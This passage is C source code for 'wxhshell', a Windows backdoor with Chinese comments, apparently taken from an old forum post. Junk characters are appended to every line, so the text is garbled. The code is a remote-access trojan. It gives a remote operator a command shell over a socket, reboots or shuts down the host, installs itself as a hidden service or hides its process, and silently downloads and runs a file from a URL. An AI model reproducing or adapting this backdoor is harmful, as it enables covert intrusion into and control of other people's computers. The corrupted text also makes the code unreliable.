lMgPwvs'  
    switch(cmd[0]) { v\+`n^=  
  r)Ja\ ;  
  // 帮助 Y(Y#H$w  
  case '?': { ]QQeUxi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FzAzAl 5  
    break; +(Jh$b_  
  } VNs3.  
  // 安装 AzVv- !Y  
  case 'i': { uQ%3?bx)T  
    if(Install()) S4pEBbV^n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *=P*b|P"$  
    else ('2Z&5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TUARYJ6=  
    break; xX@9wNYD  
    } 2|&SG3e+(I  
  // 卸载 6(>,qt,9S  
  case 'r': { Fd<eh(g9P  
    if(Uninstall()) JL [!8NyU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [{: l?  
    else O"#/>hmv-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kJ?AAPC  
    break; <O.|pJus  
    } +$F,!rV-s  
  // 显示 wxhshell 所在路径 S~>R}=  
  case 'p': { iz0:  
    char svExeFile[MAX_PATH]; fX2OH)6U  
    strcpy(svExeFile,"\n\r"); Hzz v 6k  
      strcat(svExeFile,ExeFile); X6BOB?  
        send(wsh,svExeFile,strlen(svExeFile),0); hrGX65>  
    break; %/d1x  
    } s{*bFA Z1F  
  // 重启 Z)f?X  
  case 'b': { {&a6<y#-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^b4i9n,t1  
    if(Boot(REBOOT)) m ?*h\NaB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5?0~7^de  
    else { Pj_*,L`mZ  
    closesocket(wsh); {q^UWv?1  
    ExitThread(0); ,YJn=9pTl  
    } &A=c[pc  
    break; P&yB(M-z  
    } F:~@e(  
  // 关机 ay#f\P!1  
  case 'd': { =2YXh,i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :? s{@7  
    if(Boot(SHUTDOWN)) Y ` Z,52  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8T[<&<^-  
    else { Cu_-QE  
    closesocket(wsh); n(i/jW~0w  
    ExitThread(0); rM? J40&.  
    } M@Ti$=  
    break; UY .-Qt  
    } p=\Q7<Z6d,  
  // 获取shell qt6@]Y  
  case 's': { [NV/*>"j&  
    CmdShell(wsh); j<R&?*  
    closesocket(wsh); >WLHw!I!6  
    ExitThread(0); nFWiS~(#sW  
    break; V9Dq<y-y  
  } 2qQ;U?:q  
  // 退出 "y5bODq3t  
  case 'x': { x[u6_6=q9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qj4jM7  
    CloseIt(wsh); w"W;PdH)  
    break; x&r f]R  
    } ?6HnN0A)  
  // 离开 >x6)AH.  
  case 'q': { 5tk7H2K^<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *!j!o%MB  
    closesocket(wsh); J/3$I  
    WSACleanup(); skU }BUK6  
    exit(1); ]u:_r)T  
    break; C=IN "  
        } s< Fp17  
  } nPDoK!r'  
  } -<sW`HpD'  
yYP>3]z  
  // 提示信息 % [~0<uO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dn:\V?9  
} K=r~+4F  
  } 9m\Yi  
uKj(=Rqq  
  return; KzJJ@D*4M]  
} wEN[o18{  
#N%j9  
// shell模块句柄 EB@rIvUi,  
int CmdShell(SOCKET sock) KT7R0v  
{ .*X=[" F  
STARTUPINFO si; c]i;0j? Dl  
ZeroMemory(&si,sizeof(si)); IkG;j+=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vol}wc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,`YIcrya:  
PROCESS_INFORMATION ProcessInfo; "d /uyS$6  
char cmdline[]="cmd"; y7R=zkd C9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gdg``U;)p  
  return 0; '4,IGxIq  
} -s1.v$ g  
x 0#u2j?zj  
// 自身启动模式 3_ .%NgES|  
int StartFromService(void) LOr(HgyC  
{ BR_fOIDc  
typedef struct _g-0"a{-  
{ W Q9Q:F2  
  DWORD ExitStatus; 0F.S[!I  
  DWORD PebBaseAddress; !6z{~Z:   
  DWORD AffinityMask; B@#vS=g  
  DWORD BasePriority; N 1.fV-  
  ULONG UniqueProcessId; >;R7r|^k  
  ULONG InheritedFromUniqueProcessId; F/[m.!Eo  
}   PROCESS_BASIC_INFORMATION; 7 toIbC#  
I*$-[3/  
PROCNTQSIP NtQueryInformationProcess; d+6q% U  
PHUeN]s#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e}P@7e  h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  A; *<  
~ Nf|,{[(5  
  HANDLE             hProcess;  Mz+vT0  
  PROCESS_BASIC_INFORMATION pbi; )vpYVr-  
wQ~]VV RN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ggm'9|  
  if(NULL == hInst ) return 0; /0$405  
8TK*VOf`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gvD*^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kP5G}Bp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EziGkbpd@  
IGi9YpI&K  
  if (!NtQueryInformationProcess) return 0; 1o_6WU  
g \ou+M#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kbJ4CF}H  
  if(!hProcess) return 0; B6KG\,'|  
YW&`PJ9o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }Z t#OA $  
a.RYRq4o  
  CloseHandle(hProcess); &49WfctT  
$DtUTh3)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z@V9%xF-3  
if(hProcess==NULL) return 0; t* p%!xsH  
/Ahh6=qQY  
HMODULE hMod; #&fu"W+D96  
char procName[255]; nR wf;K  
unsigned long cbNeeded; Aa]3jev  
N R 4\TU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Aon.Y Z  
CS5[E-%}T=  
  CloseHandle(hProcess); -WR<tkK  
2;J\Z=7  
if(strstr(procName,"services")) return 1; // 以服务启动 6V}xgfB  
EJQT\c  
  return 0; // 注册表启动 SJlE!MK  
} +_u~Np  
^4'!B +}F  
// 主模块 Fs(S!;  
int StartWxhshell(LPSTR lpCmdLine) ckv8QAm  
{ g}uSIv^  
  SOCKET wsl; pYu6[  
BOOL val=TRUE; /L5:/Z  
  int port=0; ):}A Quy]  
  struct sockaddr_in door; !_;J@B  
DL,]iJm  
  if(wscfg.ws_autoins) Install(); TIR Is1  
(<-m|H};  
port=atoi(lpCmdLine); ll- KK`Ka  
0 0|!g"E>$  
if(port<=0) port=wscfg.ws_port; w`3.wALb  
.+<Ka0  
  WSADATA data; eH[i<Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x5Fo?E  
zA:q/i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jUgx ;=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A wk1d  
  door.sin_family = AF_INET; ; sqxFF@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zK{}   
  door.sin_port = htons(port); ?r5a*  
9_e_Ne`i`?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3(vm'r&5n>  
closesocket(wsl); ='_3qn.  
return 1; i\gt @  
} 79-5 0}A  
x; -D}#  
  if(listen(wsl,2) == INVALID_SOCKET) { }UQ,B  
closesocket(wsl); @LDs$"f9=  
return 1; " vc4QH$  
} qDhZC*"9#D  
  Wxhshell(wsl); X8?@Y@  
  WSACleanup(); IiE^HgM  
DUH_LnHw)  
return 0; Q9B!0G.-bs  
V0&7MY*  
} 01uj-!D$@  
kBk2mMZ  
// 以NT服务方式启动 gs0`nysM#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "a33m:]J  
{ 7,V_5M;t  
DWORD   status = 0; jp@X,HES  
  DWORD   specificError = 0xfffffff; rc~)%M<[2  
;OD-?bC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H\N} 0^ea  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x K\i&A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; : yq2 XE%r  
  serviceStatus.dwWin32ExitCode     = 0; wL^x9O|`p9  
  serviceStatus.dwServiceSpecificExitCode = 0; ; C(5lD&\5  
  serviceStatus.dwCheckPoint       = 0; i[{*(Y$L  
  serviceStatus.dwWaitHint       = 0;  >;%QW  
lA;^c)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lN{>.q@V`r  
  if (hServiceStatusHandle==0) return; +aPe)U<t  
.;.Zbhm  
status = GetLastError(); 5MZv!N   
  if (status!=NO_ERROR) UvB\kIH  
{ ]#rV]As  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E}a.qM'  
    serviceStatus.dwCheckPoint       = 0; 4^4T#f2=e  
    serviceStatus.dwWaitHint       = 0; B4+c3M\$V  
    serviceStatus.dwWin32ExitCode     = status; pv&iJ7RN  
    serviceStatus.dwServiceSpecificExitCode = specificError; es\ qnq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |TkicgeS  
    return; @PhAg  
  } -U?%A:,a|  
Br&&#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9F6dKPN:  
  serviceStatus.dwCheckPoint       = 0; "wKJ8  
  serviceStatus.dwWaitHint       = 0; @H( 7Mt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QtW e,+WWV  
} #N64ZXz_  
(nuTfmt>  
// 处理NT服务事件,比如:启动、停止 SMRCG"3qwA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @T>^ >  
{ @,6*yyO  
switch(fdwControl) "{H{-`Ni  
{ 4gdXO  
case SERVICE_CONTROL_STOP: ~| ZAS]  
  serviceStatus.dwWin32ExitCode = 0; ,H mGp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^^tTA^  
  serviceStatus.dwCheckPoint   = 0; .pm%qEh  
  serviceStatus.dwWaitHint     = 0; OT6Te&  
  { W_Y56@7e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yf R0vp<&  
  } >uQjygjj  
  return; *ezft&{)`  
case SERVICE_CONTROL_PAUSE: {)!ua7GF0H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DAORfFG74  
  break; u(? U[pe[  
case SERVICE_CONTROL_CONTINUE: bJR\d0Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GkU$Z @  
  break; xXmlHo<D  
case SERVICE_CONTROL_INTERROGATE: I69Z'}+qz  
  break; ]gv3|W  
}; "[7'i<,AI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g/P1lQ)  
} V$Oj@vI  
U7f o4y1}  
// 标准应用程序主函数 _+7P"B|\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mL'A$BR`  
{ OPqhdqo  
]iFW>N*a  
// 获取操作系统版本 D@[#7:rHL  
OsIsNt=GetOsVer(); -HuIz6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HJpx,NU'  
(dO0`wfM  
  // 从命令行安装 yGC HWP  
  if(strpbrk(lpCmdLine,"iI")) Install(); }NdLd!  
|o(te  
  // 下载执行文件 f.oY:3h:  
if(wscfg.ws_downexe) { xUa9>=JU{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2~r2ErtS  
  WinExec(wscfg.ws_filenam,SW_HIDE); v~._]f$:  
} s=E6HP@q  
K>XZrt  
if(!OsIsNt) { J#iuF'%Ds  
// 如果时win9x,隐藏进程并且设置为注册表启动 wq1s#ag<  
HideProc(); `w@z Fc!"  
StartWxhshell(lpCmdLine); 5b I4' ;  
} 4 EA$<n(A-  
else 4mX]JH`UTe  
  if(StartFromService()) @$$ J}~{  
  // 以服务方式启动 k][{4~z  
  StartServiceCtrlDispatcher(DispatchTable); 0D  `9  
else 4Sdj#w  
  // 普通方式启动 pjSM7PhQ  
  StartWxhshell(lpCmdLine); ?G]yU  
#,})N*7  
return 0; gQY`qz  
}
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只看该作者 1 发表于: 2006-10-10
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